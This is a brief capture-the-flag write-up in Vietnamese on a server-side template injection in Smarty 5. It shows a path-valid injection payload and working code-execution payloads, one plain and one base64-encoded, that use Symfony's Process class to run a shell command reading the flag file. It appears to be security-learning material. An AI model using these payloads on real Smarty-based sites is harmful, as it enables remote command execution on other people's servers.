astronaut
Logbook
Web Security • Research • CTF
Menu →

Status: Not started

Summary

Note

💡 SSTI in Smarty via cached templates and Symfony Process.

Description

Analyst

  • Mỗi khi ta gửi lên server một param pages tồn tại thì phía server sẽ tạo ra 1 file trong templates_c bao gồm cả param pages ta truyền.

    image.png

  • Từ đó ý tưởng là truyền vào payload SSTI mà vẫn được path valid:

{7*7}/../home
  • Giờ ta đã có thể SSTI. Tuy nhiên bài này dùng Smarty 5 nên không còn system. Ngoài ra tác giả require cả Symfony (ban đầu chưa rõ dùng để làm gì).

image.png

{Symfony\Component\Process\Process::fromShellCommandline("cat /flag* > x0n1l.txt")->run()}
{include file="eval:base64:e1N5bWZvbnlcQ29tcG9uZW50XFByb2Nlc3NcUHJvY2Vzczo6ZnJvbVNoZWxsQ29tbWFuZGxpbmUoImNhdCAvZmxhZyogPiB4MG4xbC50eHQiKS0%2BcnVuKCl9"}
  • Thành công ghi flag ra file và lấy flag.

image.png

Exploit

Result